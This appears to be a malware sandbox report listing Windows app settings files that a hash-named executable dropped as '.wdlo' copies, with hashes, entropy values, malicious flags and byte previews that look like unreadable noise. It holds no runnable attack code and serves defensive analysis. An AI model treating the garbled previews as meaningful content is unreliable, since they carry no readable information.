Preview:	regf....y...B.KH..`i.d.xr..AK6..<.....=.0.V......(.sCm.^...S..'...Sf".......fo.8x.f\|.9..(..rc...oX.g.?.\|.....8.(..AYA..7x......tk#..M.R!6EY...2!.$1.Lr...@....lS..U.zC.1....=.R...)V.......,..=3.....:.+.&1.....\|....(.x.].,...b........^..0!$.n.E......u..@...%B?~........W.W.jT.[.sT...........c.^........7..l:...G'P...m..'.....H[.,}+O.>/\`..MQ=.-.5.A?...G.8...^..-YmG)...E1w.h..5j}Xh.K.\|.....<.)}....;ErE...../..$.C.?...C....._\|...VP}..o..F...DYY5.2.....+..-&.... p#.D.(h....-.g.V&.p..O;Pu..[....x>..W.....-.6..k@...J6.g......^x..%l..7.l#........%........[...!..L.2,..o....dU.7.$,~...H.ee.O'.G....S...z+TDN.....U...;....B.........&.....#-....i...yuy....BX..u..CL...(.!.B.r]r...x..pjoX......5..M.....;...Q......S.O...>Oj..@7.2..(......w...J....yj.#...].w.........2.~<....!.)":1;o.'.i...!.....\.g.;..t.d.{.........u..l\i.<.Lf....29_......l.DL.....Q..:.t....q......O.}..q.\..0...,5g1{...dR.X...{...3]..c.....=..Z...r;..F6.=.h..^....Wu.d%.p...l7F.7..-...<.

C:\Users\user\Local Settings\Packages\Microsoft.Wallet_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978626445611812
Encrypted:	false
SSDEEP:	192:Vb+lOK2KgSUo+Jx2/i8ihFXObw5a+nZI01b7tIyRRLres:YB3gTo+y/iTBZI0RhIyr
MD5:	481755E227C3BA4C604FB4DBAD9ED40E
SHA1:	57E77DD7D810EE7AA864D29884F9DE4A3956AC15
SHA-256:	FD05E07B743A4EDBF9028BEE96A0E6101904F53DC4630D4C5D692C86A66E1297
SHA-512:	2774529E1E8E3295112F006F71D43971D677751D06C3EE5205C2D59C1AC183F1B2C9C985E8FF1F367A111BCC4AC99300E3639B8C405BAD62E5B9C7ACB6723F48
Malicious:	false
Preview:	regf...'.......JQ.1.&N...%.{F.U..@..!Y..j..?..`....z\.6...O.<..6.xi....()........./b{Wv.bmX]TiX.4.~...$.B8....;.qk....?..s.7u..:H.......]..{.Z...@ah.\.$k.8M..8a.\..]/j.i.U.m.D6%......?.M.6.Q4...u$..0e...4......3X).R..+.!......t.XK.&....(v..6+^.g.Kb.Y......."X....#...!.....t.._...&..B..?U}J-..TXW..".R..^.I.a.A\|2......\|&.Q.:..H. %...'...~..v=...3......../m..:.R......S.$...N.&......[Q./.........`..)...~v...f...I.../.y..W8.......$.f[...g.4y.... .P(..S.0%?....s....A.f)0.h.N.#.u4....E%}.\|.h...Z.I....hV..........[....t.xy^.]-.v02.F..".$.........[p...8_.....G....B...bj.!e..\|e.]..R\|jt$....;...~...Y+...f'.6.P[.H....-...o#.AI.......-1' .a...3...i......y.9.A.S.$.a...t)v....gJ.<g9..v.......^f.[...!...5.T\|P.....w.T...#)...Y/N..\|.K..+.X..[.q1&...!-8E....IP.Z..;CX.A ....q...i.SrH..w...'..`......Xh.^.M...Z!_..Y5....:O.$M.M.49.B._.M(i...<...0.8.eO...a.....{.0....(.$F.fq..^.).B..f.f.F.)...3].o.H..G..(&..25.k.7[.=D....w..._.5.....#K_.`$.r.ja.VB._..h..0.u.j...

C:\Users\user\Local Settings\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9766147731584685
Encrypted:	false
SSDEEP:	192:bjPIpNKts2kO4gbo5BEq2ClGkQNyJcjYhmwGpLtUkQ6gmWBx:bjIp3BngyEqrq4mwGfiP
MD5:	52C31D0926FC24183F00A89A8CF4FF0A
SHA1:	37325748D18FD04B4E152A25D7543999937D2DF8
SHA-256:	9F8CD7A6FE68F502C441460EEDCD7672EA9287842443D9908F95828B19313A40
SHA-512:	8C64B97CE3108DEE0F823DF823D5B9272752B16F8B6691C1994133D664507BEF9A16CB32D3937CA097310944655C9F09DC1A244FE6FE2A6CECD63A9B17BE9779
Malicious:	false
Preview:	regf.b....f..?.0_.....7.s..........+.q....P..x....D.B....0...Np..F.a.#..-x...5.DgDmv..........=.AcF...0...ew.}.....\6W..s?.>..L.+....l.$....#...@...^.#)k.h.:Pc4..7F..2.yW,."..M...Z1.V.H..p..AN...3.B.^...y.:9$........z..QZ.B("..k..T.fh.#....'.o..a... .. ..g....H.s..{.}..8.-..T....Zy.WW.......).$..X...EM..Ll.m3^.f[N...&5.SX..?w.>.e.{.e.._...:......i1..%s2....i......v"....w..Y..H.E..].....u.{^..hX.a.#..C./O!...E4....m...C.....i..R[7<...l.z.S.2...........u.....p........!K=.....w.. .i..5F.D+....f.N%....K....ye.Z..I- ).b."L...g.".hO....Gxw.t}...i...{%.i.I(.U..`.0...y"q..q.J.=..'T..p.m3......<......w.o.>.f..@....R;....PcYV.^...2041'...=..H.......A.....\|.7J.A.9..u..{_.....c..qu..O.9.u..zz....`.I..;.....p....1...\.Z.....\..Al@r8G....l.+...Hj...............W.m.F;.......YuF...{.4..l....B1..v.<.'T.1....p......I<.Y.n.5.;p.w....r..../....]y..@y..o...}..i..Pk.7...V9...-.....\.Cm$.F.n*...n.....l...,.Z...5ZX../J...N..1......(.Ez

C:\Users\user\Local Settings\Packages\Microsoft.WebpImageExtension_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981461295620935
Encrypted:	false
SSDEEP:	192:ilCuQuqgNAxVO1Z7ZBfydoBctBK6fZAwwJ1UkH:ilIulOxSpZIoBc3K6Re1UkH
MD5:	FFA1F33FBB0248D16DF7DB434B0E238F
SHA1:	4219FE10738F0CD681E07B39897E8AD4AC79AC7A
SHA-256:	54DD99D66578C50A5F58330B46657DCCA64D2E1AEFC07326CB45C4846BF6542E
SHA-512:	82686831846638D7F23ECFE3EC6C60DE86788D50C76B4CB1D710887030A990140EBF454B339D09761FF9133BBBC957B6C84BD56362E2D6409F12C99A1A8E263B
Malicious:	false
Preview:	regf...Wh\d;.....HY.....h.q\|.L..B..6.G[.......,6.!.g.2.J...B.}...1L(..ei......k.}.....N^...[..>...28.E06P.{Od]...<...y.V...."@..=.......Y`.....X..!{....XH.........f......0.xf...n.....Q4R.\|.e.^....r......x..u...{9..$$..}d%}.~]m..:./.......d..M.....dc.!.\E.E....8.."..'.;.:.IU...-...f..H.......K:X<.[Su..A.-......m.b..KF.5...<.....2.z.6X....i...j.u.n..!...Q.V......AY.:eC7.^}...Z.2%..$.m."..Iv....m..."M..X.j2.........1.=.T ."C.h..f.\|.WQ.Ua..@]...O..../.._.......>3%[u.........(..`..a......I......?y7.8..U...a'.._.7........NX.^...8o...z.g3."tx.V......<.1.+.....P..z.V?&....." ..h..n..........g.J.......~.\..&.........'.M.8..".36.k....BO^^'..+.P.<.u..E..j>s,.j^K.F.^.j...R.......@.a...Q S $.... ..H..3h..}..j-.0..*........B......{...\..b..4\..%A..YZ.:..a{x.1.'. .v.5...u...W!.'.........G.Y.....z...x.+a.1...g!...._...e.x.B.'..>.Zg.G.1f..@.DC....ls.z...9W..D)C.4@.......T...mJ...1S7.......hL.P.r8.D.....j.M..........w../.......P..2.........

C:\Users\user\Local Settings\Packages\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979379003658015
Encrypted:	false
SSDEEP:	192:mtvsaCnPiGwkdgfTID7WC3DER6XEU4Q6G5jTd2f:BznPiGwkmbID6gGkEOd5nd2f
MD5:	EA2AFA96A3EED5D0E0DABCC4CFF27112
SHA1:	BC7A6D22BB66AACB5089DDEC3D345C05D1EEAAC3
SHA-256:	A5D043C4B5171779A3C3CA91B6090A9DD7ECF272694AA1A2DF9AB20580D999A7
SHA-512:	E633E0A55F139E3CFAE967371C7207FFB74B3FE33B37C8E1F162E81564409314BEEEE169EF84E2FE48B946F75978881A7D98C4C2524603C4D62579458DA637E8
Malicious:	false
Preview:	regf....f..A^..Js...`.)\|...x.9Q1....O~...@...H.{u..RR...Mdd.:......F.Y.N'.JG-g....KY.m....u..}......7@d......Z."..<.]qN../g..O^......{v.8_`.....9x7...N..#..=.h:\|g..>.X.bh.....&V&.-..Y..Z8![......r?.....6C.EoX..Rf;:....F.n.y..J0amU.....u....0E.t..u[..p#..t...4_..5.P&P..T.F.V....v....A...%.(6.Z>..5.\|...6.[..KA...;..A.<......E.`...u.mG.^A-.].......\|..L.8.Z.r..n.W....'.#...j.45S{.7O..W.9....9.V..,i$^.2Xd.N\!2.ecj..d^....W....<l...=.6.j....Huur....m.W.3t..Z..efd..!yx+>..3.#..vh.....t..KN......z.O.2...?..^="..j.....P.Oq6......a7......X.Z..[Dr...u..su.D=.B...9s.{hy....[.R.F.'..p..r.4..P...B..O..;...dY..?.%}SA...f.{...G.....-.{...n..m.FO..59..Zl..N.]... ....Dd......H<.+...u.....U..q...o.W=a.....-......]..q..$..G..AY..u!...O_..!R....H.$#..L......*.@C+..G...V..T...._.p.....T#`94...I..b......}b...L..._.B^(:\|..0b....~.<.q..3.yNc.....F\|..9...i<..#.....W..f.."....sz<.?..a0k\|..F.^..U.\+.E.]..m:....T..._.ER.E... 9.4"...E..y..'.... .)'.T7..R......`..+.[.{.

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977021136385922
Encrypted:	false
SSDEEP:	192:1Tp8RCHyME3gBn/D6vI37pE/mMjXDeDwrLNeTMeMYgClsmoo:11Hyw/+vI3EmOTvoyClsm3
MD5:	797FA039E355273CCBB13AF74A455D1F
SHA1:	E4F5CD8C5BE149EA5163C65798B1FD7F553A9C03
SHA-256:	7DD508AAE6CBC266DB9EB19BE4929CA601230473EE897AC585F9C35184A3B644
SHA-512:	635B1A6CE3358657506403C2A08BB782565A3A333684AF4A398F559B3006D8138658EF1D6643CB0C4BDF1A59142DF8F15514FA2A63F89BD7999A36CC0921481E
Malicious:	false
Preview:	regf.:C..........&.....rub....0......V<..6.1.....6eA..E.+ggk..r..^...\|csk.k/.8'u.m..c...n.....ez.[<.o..,.....kf...x,...ro.H.....k......PH..y...<....+..AP&#q.O..$..%.c..2]MX..I.H..Y.E`..he.v-.i...7.3Q.T...U........c..N.[.^..].Bp.\..kz/.>.7.LouD.me......5.......Bi#.u..x.uF..6..R.qh..2/.9n..@..5.....^."/.6...gB.F.'..2.Z..\|...........>.9..Y.W..$Y...s..4.X!f.y.z_W3.....F.\|....l.....Tx...cnSU.{B%.i..c[...]I"...8...G`....xS.\.b..N.'...K]m.-..&.{"$.....b..2`..kd..b.....9..N.~10...9-..;...........#.w...o.......?\|...A....4&v..kQ.l.m.......`..>q..V.......8..m..J......!R.........O$du....wB.sh.n....=.f99.P....h..W:/....D3....=......W.?...8.@.{.:.7.d.ul......z.d/...q;....>... h... ._\a..1o.w.N..=......-].4..l.u^#.*..%....#b(.v.....].4.K..!.[r.G.R.WahGdV.'Q..>g..y...(.=.7.?[.m.............e.....U..m.Ml~..a..3A..A.s....NenF..=....C.-t+E..s.A..9A..k......=j.;.}A..AIx^...!.I,....=...m&E&..P.r.4...e8.G5.`CN.N.?b...4...3(w'.].q...,.5/}<.Ad.L=..#.....C..W

C:\Users\user\Local Settings\Packages\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979392187289176
Encrypted:	false
SSDEEP:	192:XSowN3EhmwASJTgzhkLg2ZtOGt1V7IR/hwM5mx+62dhO5M:i6h0Sezus2ZtH1tAZ7gxs/Oi
MD5:	0FC6CDEAA1FCEAE5D786E92F02C07EFF
SHA1:	E0F92C98DD01753FA49FB98141ABCBE33A4133EC
SHA-256:	6436D7098F3267D43F98C63948FD732C4F602C62314A36A1DE37B76435F4C3E8
SHA-512:	EDFE9B16AE341395C20CB36FFEB9C6C3EA484E660DAB9AEA6DA5772B0AA0C6857BE4BE15831785346E53F09140953840CF9C15FFA1BDA9E96A8A241018B600B9
Malicious:	false
Preview:	regf.l.RtT.aC.H.8.w).....U....U.$@....hb .-/?....cB'.d.=..;'.`.>......v..K........2>.2j....>.y ..D.R...B#5(.......ypG..{..'..e..m..b...........w =..6.>!.).C...fTeQ.z.o.>.......;W..3..B.9..L.0N.....f.......e..Aw...c.}^..8.......P.NO'..S...:'.....-....A....9k.NV.s......%\..x...z..:.s..;c.,...Q.qZ.yIT...E."..Fl....M..q:....RW..-(...'..h...`.% N........,....}..]0H..q...."?.&#....jj2G..@I.e....g..Q....H(.....,.....l....>L.)L..8.Ub.....D..i.IF .....U@l......t.%...Z..h:.V.W..W320..E.Li.~:#....S.....E...].....<h.d.....+B...t...H....(.".,$ u...k.oh....n...;.6.....4r.....aL.Q.=...6..O.......b>..r.W0u..../u.[..O\|.r....c5t.1...7.K...G.l..o...R4.'$.....}....w...Te......O...-"5..._..>:m.J...4....x.......Y..4...4.gc4.\|...a...X.E.\.+_+.[.......B\.P.."..aL..\Vk.......Z...f..r... .Kz.._..+jK....nm..s2..8..]A..B...m..'.fQ.;.G...xj&{.w%<.z..w...uS!. ^.^....\|9?.d+...o.\.r..`.6...b...a.+........j*}m........%r.wk.x...Z$\dg..S.`.l...&."....z..N.;g~.R....S..T+.

C:\Users\user\Local Settings\Packages\Microsoft.Windows.CallingShellApp_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980497256770976
Encrypted:	false
SSDEEP:	192:Mv5bJ8kBa1Jy7SjN4et5aYV7m0y4AIeC9/pxwyC6xzEH9n:MB+Fmm4yJAIe6M96xzEH9n
MD5:	389D702BEA90A33365F9A234283DA83C
SHA1:	38914EF6DA38EE0BFDE3D4AED51A34EB5849C1E4
SHA-256:	85A558385560E078AED9FBD329101815C880D9134F1094D107DEAE603C9D8D4E
SHA-512:	AD11A7F5F7E274E0F1236BE16F54FAF43CF3B7D629A4005290A5F4A8E4D73E74D245E8BD77DCBFD6AE5646553ACF76CFEBB10D8D69B72E69412899C36F9D2D95
Malicious:	false
Preview:	regf.......F<.1..b.5..q...,....BZ...U.b...f..n.i;..!`/.\|...5.F.W.........M.....#6#.\By&..n...@....$$..;.u.....<^.................Y...........N.\|A....D.../..;..x...(...Rp.&.\|C.pP.....OB..9(D....@......~.t.!.-.........78..\..ZK...X.Iv.F...%..:R...J....;.{&.<......!..r...A.B.a..])..#b\|.:...5...T.."...=..@..vCI.O..&....=.."!l\|.6...q.....1.....,..WWy..77U%.0..d....:(\...^...4._..1..cQq!S../...O..?....WF}.+..S.6.&z..aO....z...../...~.]H.......?.....S-.w.....7ZM..^..!raM..........c...?...?$.I.n...d..'.4\.X.C.a8...V..S{_S..9...RMA..x.y[3o8K...GB..Lt...8."K..V....F&.S^.9....I.._'......Jlm).%.....~.K......c.\.........B.&..5...[$.p..u.......p.0]Z..$.....M..\|..5.......U.x...t..t.z.......jK....:./......7N...cU.........E.T...j..~....mS.G.,.g.f{...K..>r.....ai....xK<..K......Bj...y$X..l......\|..2;....t$........fZ.....L.,..x...Y...h.....s.F,.K.]U....Y...`.y...O...&V$.....x....ML2.t......6.Z.....O...&U.6:vW....n.w.7.....W.U..W...h}.iC..I

C:\Users\user\Local Settings\Packages\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979772120771745
Encrypted:	false
SSDEEP:	192:mKqKq36iwLKyFZsPeDqAxiru74yDupq+y2Va2pvcXj:mKqKu6inyHs1AMr6uVTvcXj
MD5:	EF09DB4036CAC92E6BBF45F6A23B9719
SHA1:	EACFAD8453A0B7B11914AA8A538F67DC2B8103F6
SHA-256:	1D8A467A4D252EBD617C773AD9D7F149C50B77C6662AEB1D9B4BE9749328E35B
SHA-512:	9BD7A0D88D67ED5582157CC444E961CF7C6BBFCB958405BC1FBF6760B84518A60C59B972A3CDC741E2A57C2C65B91E7CECBA0F6DA533D4C43EA475E78F17A5B6
Malicious:	false
Preview:	regf.I3.;..^...+..._[.r..z..7....8.X.A.\.H.?'`...F\|.9.FC[....s.B?.......P...X..].i......;~X^y3...Fd.g...f.mJ...S....ZM;..zn.q.X..Dl...kK..LD.m..Y....7..#...7~..<..Xc.Gqru. ..m2h`U`...EH'...CH..X....D....N.......Km.....6...\$...............GB..Fx.l...z^....S..........H.....M.Zb.;....M...-K....'^.H..t..q.p.vg.z]QN...w.u6{...$.c...../..I.v=0.J,....l.'U.F..9.\U...1...i.....2/.._.6^..i:.............?......C&r.j.=+;...30 _M..".#x..L....4.....m;..2..Ze.FX..d..@o...Z...u.....Y.<..i..AFq<.?...}R.....v.......9G!....z2l2.....7.....V.....dVnC.,a<.w........Mi....V....#..R..f.........,.o...O19AJr...{...c.E..j..G....F1.{(o?...2eoG@.V....F....23A.z_1.['O..U[.E.!.....w..v..BR(..q..Y......c..'.....&............Y.......abT2...]I.....]..G......H.d......G..X...1..IS.)u,.....\|....TDz....89qtn.4-....:.......]^.'3.."..~..]...C;....D......t...a.0.7...Z.....>...- J..I.B.n..cc......uK..<,..qw..z.....5..!`".<.a...:.`.S.)...WSA..........3Ll)....J.*.1...l."J"

C:\Users\user\Local Settings\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978131810966644
Encrypted:	false
SSDEEP:	192:89DicOWeZCaI/A53ABkS5EaBpK/9oPaH2iEXqWkYbmNJE:RcFkCc53kkzanKaP7XXaNO
MD5:	72C1CB3375AF24AF8D09DC1DEB13E486
SHA1:	C257B170F884130E58E8B5586E27A88342F3A6E1
SHA-256:	3C92E40C911B5B5645B46805E93062B09F31AF93C35A6556030C46AB54D6F761
SHA-512:	F31A4EA013A899255ECFE7E374F20F857B3ACC8B539FF387E9BF1A4B862FBBB41C5503D001E3F85CDE4E000B069C2F72E49F3E82A38E3134707AB6D0B041F9E6
Malicious:	false
Preview:	regf..y..+.,....U9....T.GB..........F._.."pc..t.E...NCi....bvr.m..T..v..+t..lAU{..c7kK...7..6.n.y..Y..F..]..ulH...U.mZ7s..I.mCU.^R......b'..)LBg.f....d......0I.....hX~..\|.6..[{.YR.\|.V.3h....Kx...a?&x..x.[.%o:.Q........M...].q.0.Q\|J......\......#..?..7V/.....17\|<!l.M....v.z.N....#.\|+.w...Q..C]%{%h..q.2X.]......~..J...)G..V..G`...2v...^Z./...".$..+u+...\|..P....gqG].e.....9.....ge...l=d=q.7........'.`...1).1.U.qV..w0......o.L..vk..f.f...?.n..J.DNnO...!.?FX}.Xd....7.........._V..=.....+.f..-...d=7.GH2.K3N...).. U!....s.U.:.5..3R.$9....T....i.B{.."...;....}='l....77^k.....6..r...3.ir......0J._...L..'.~.Au...8..Cd.Rk!...Ga>.........O.N.Y.....6..cf.O.+...Y.!l...G>L..i...../C.z../..N.m..`.."...Cx8.#.Kp..V.6.i.z~.\..I...{%..\|..p....../.D.){'..?<....\..L..B..Z.$....U..&..Wg..= ...........J..v=Rs]...wW.....1....k.C iy..;..d`....VZ.......GB'.XV.w.%%.}..2.a.W......W.u.pVkH...}..Ioo.]..j. .....m.s7:..._..d.n#6.'.....zAL.6.q.m..P.c....Uc.*...U..

C:\Users\user\Local Settings\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977591400633118
Encrypted:	false
SSDEEP:	192:QkLgp+PCubqJGmMpT1kHz7r2QhRTNHkOvxOLkY2zkx:ncpACDI3kTW4ZxJyr2zW
MD5:	95C5F047306B87A37B8B670556042C22
SHA1:	3A0FB8D530F4BE4D01A5FC1A8640EE6C332E357A
SHA-256:	20AD187EB30D49B7DDF2A6D82D4692AB1A3AAB40AFACAD441902C668B7B928E5
SHA-512:	AF35D9F1FBA0670E7FC4E5FEDE8DCBA52F632596E2E3717B40217A61F245D646B1EBE5A2BC465F699366D6D9EBF849C5516A248ED886BAEC5C941E759C33FB6A
Malicious:	false
Preview:	regf.....O}..F#.h.X.0"t2.{O.'...p...u#.LG.?._.......[....@I...fC...D..}."....N!>+.YiY.s..G....\|.+..(!...r...dT#..L...)MMB..rf..Y.f...TM\..m....LN&......&.x;......J.t5......E.e...^P.8j....7..........<.e.@..9......y6y...>.dkz..i.w....X,....D.....RE.S......k...a........yJ$..F....P.1.1.J.1..9..e.V....yh...v.v.t......m1A.....s.y..7n..I.H..8..7....bQ3....x....zsq...K.E%5{..E......bT...z...e)\|..!@...S-..87O..5km.....!'.......D-.....f.)M_>.b.gB4(......G..O..#...w;..`.N#}....a...!1.L.".5..]...q.N..g4.).;..:.....,Le8..,.....1.......P...rW^G...41..C;xbb.p....k..c.{...I.j\|......P......gH...<..z...#.....1t...J.#...L..Q..&......NN.....v6.....#'......T$...4.{....T...f~%"Q.g.O.z6.}.A....rt......7.pW.<.q.l..u..4...t.v.../e...wk..w.]...e_3.O.C....1..h..e?.%`.>....;....I.+./...}^s...9.....@.(..:.>{f4.'Tk.......U.L..5.y.....r..)...d....&...S..@".n)...zg..3....A.<U.z..dT...sx....;3.=...O....&KZ.Kg...f..Fj...P..2..5$eh...\|3@.~....cD*....,$R...t......Q..WfW. E

C:\Users\user\Local Settings\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG1.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.994572875391531
Encrypted:	true
SSDEEP:	768:f8DTuCVaNFRrKBqnQbghXEacsXHKM+zs4+nWXHBB+7kGcklRM:BC0N3KureV+0+s9
MD5:	F3DF40DC6C4952BBB5E30AEA26481046
SHA1:	729702E63CEC980944A8CD21252487132C71028E
SHA-256:	92DCA1B9FABAC194C5E1F9DFD1B688D2AEF8F7A2044BB42817F2584F712AFD0E
SHA-512:	937E45C245F61E8F997824331DE53C8CE025CCD0C363CCB8B4865F40EAB2BA2B2A7637C7A1B8339B3EB63F120C8FB544637CBB6DB987DB44C38E6190386C53F8
Malicious:	true
Preview:	regf.PB..:.W.g...O].P..A.........n.#D..{@z99..V.G.....\t......z..s.v..Y..6.l(K`.?..\..q....d.....T..Oq.H..\fz8.......?^..`.g=...I....u..,......#9.N&h..qbj,....e.x..a&..9x....&..._.iV.....b.....`._2...hr...+......q...8.Nz.^..C.I...J!....>+=~>.f<`.......;..V.......Vq.-m...5\|.......nq.Q2.r.....U.Z.b..}..TK...'...`.o...r7...;:........2.R...a[.G..#.........../G.^.I.,..3..X.z..5&t.rZ]H...p... c..r..".Q3.+[>...J."..i...n.,....0.S;S.X8.....4._0N<.......t...T..1.....\6r..Ch.....o.b.....T..~...v)p..P.{`..........Vs.r\...Q...2...N+U.....n.>...v.hB.=.0.b3.E.G.f...4....PA.x.%...,\|.\|..He;.;.cM..T..i.%.MHm.lnXc..gfls..f....<..rM....H..-.......LWW\..6[.1..W..Q......c'........[g<vP.h..%.`_.ei.9........;C.....4..{..6...].....^v...K.....5..........d.P..N.h..........C.....&b...=...<..0w#.`m.P......I^5.=...+..Q.5.....{..q/...)..s.q.V.._{..~H..Wi ...88.....b......a.ohOi..Z..\).....x.}.(S..O.............l....+............!$.G......<.^p....?....:8M....,..I8C..K*.)f..

C:\Users\user\Local Settings\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	262478
Entropy (8bit):	5.649163491968456
Encrypted:	false
SSDEEP:	3072:zqLErTFMHAjC6AupNaXm9X3dI8H4eAe6O9IiOV4cz1EbBnqJ+jUlLY3:+4rTcAqUa5vle/i4cq1S+MLY3
MD5:	6692A4899EC890A5C84EAFAB95A8060E
SHA1:	9FBBFD6D9449D1875E2DC1AF591CA66FF33BE0D3
SHA-256:	AADB5309E4FE38359644753BF31B839ABAC202853857A120867134DB56B52C22
SHA-512:	3C47C52651EA9E611921DCE611804D8184B83EFB501163834E1726EBAD20D51C7204A25BE8E94AB4184F94DF147FDA8C5604EB5FAC611DAB9DDE6056A9D0CE1D
Malicious:	false
Preview:	regf.e.C...1P{.wB..!.;.)..,.d)....x.d.HJW..{.F.7R.t+....p.1.0o2...V!R...F.=p.Fi...........$'.>.A...L?..c+i...O..^.G.-..]..>....e['.N..........W$M..nl.P.m.~2.GW../g1;.......F,. .@......f..A'J.~...O....<$I.y.v.u.....m.$..6v...ePom#...H%..4+..FKlS.9wRA..I_fA..c.I..o....k;.....I.`.Om..NK.R.h.V;...q;RC.I.m.d.....8...O.8..]W....9......?.1.F..<.................Y4...3x=S.7W.>...K]...nX'..]'g...1/......N.e.]..x.".H.(.......(.rD:...z.v.@.E.....#X/..b&.[ok.Q.......>@..pW..fT2..>r..0.[.}C...Q^x.,I..\..QG_2..CG....q..j.I.:..~+Zd.....S..$....Yk.Mw.s..]...>.p9......!7KP.e..2..}.a,.-x$x}k]gSP....{.L...W.....^....>@m.\....PxQv.sR..V...!..~#.Z...4.D.....=K.]..].]!Ml;.N.w.a{5.Pyz-BP?y...B....28.....I.W.....BhX......NH..E..j.....u.../...[v..(vk...HC....U\|..i\...e.-G..wU....C..r....A...~...`...;..J....b.\|...Y....US.&..i.1.\.'..o.b.?.... ..........Be..9.....b.F.h.z.Z..7m.9....>5.........;.>.n~...O.....Qr.'...").._.o.-.t...U.9..n...z...z".w.l.......[#}

C:\Users\user\Local Settings\Packages\Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9776004480732725
Encrypted:	false
SSDEEP:	192:dUv9jQbwLFt3lwCcIhG9yPlbaBMcpyESOuMSAKgMkKZW:dU1YIaCcCjNJXEStM4HkYW
MD5:	585E6225C6DFEFFC0A3821082F41CEED
SHA1:	B5C4F62E8FF3A8A575223C050764CAD3FBCCD16E
SHA-256:	813877E3EE58770B0086B9DAF4893F420E41A16ABDFB3E8145F18176427D7B6C
SHA-512:	5E912C1389FF5DF79A652E5839C0F753AFD6278EC0AB120703C137C01B036CC2FD6824829F66192BC0B1E09290E2831F474E4CA2999C58D7308E409C65FEEF18
Malicious:	false
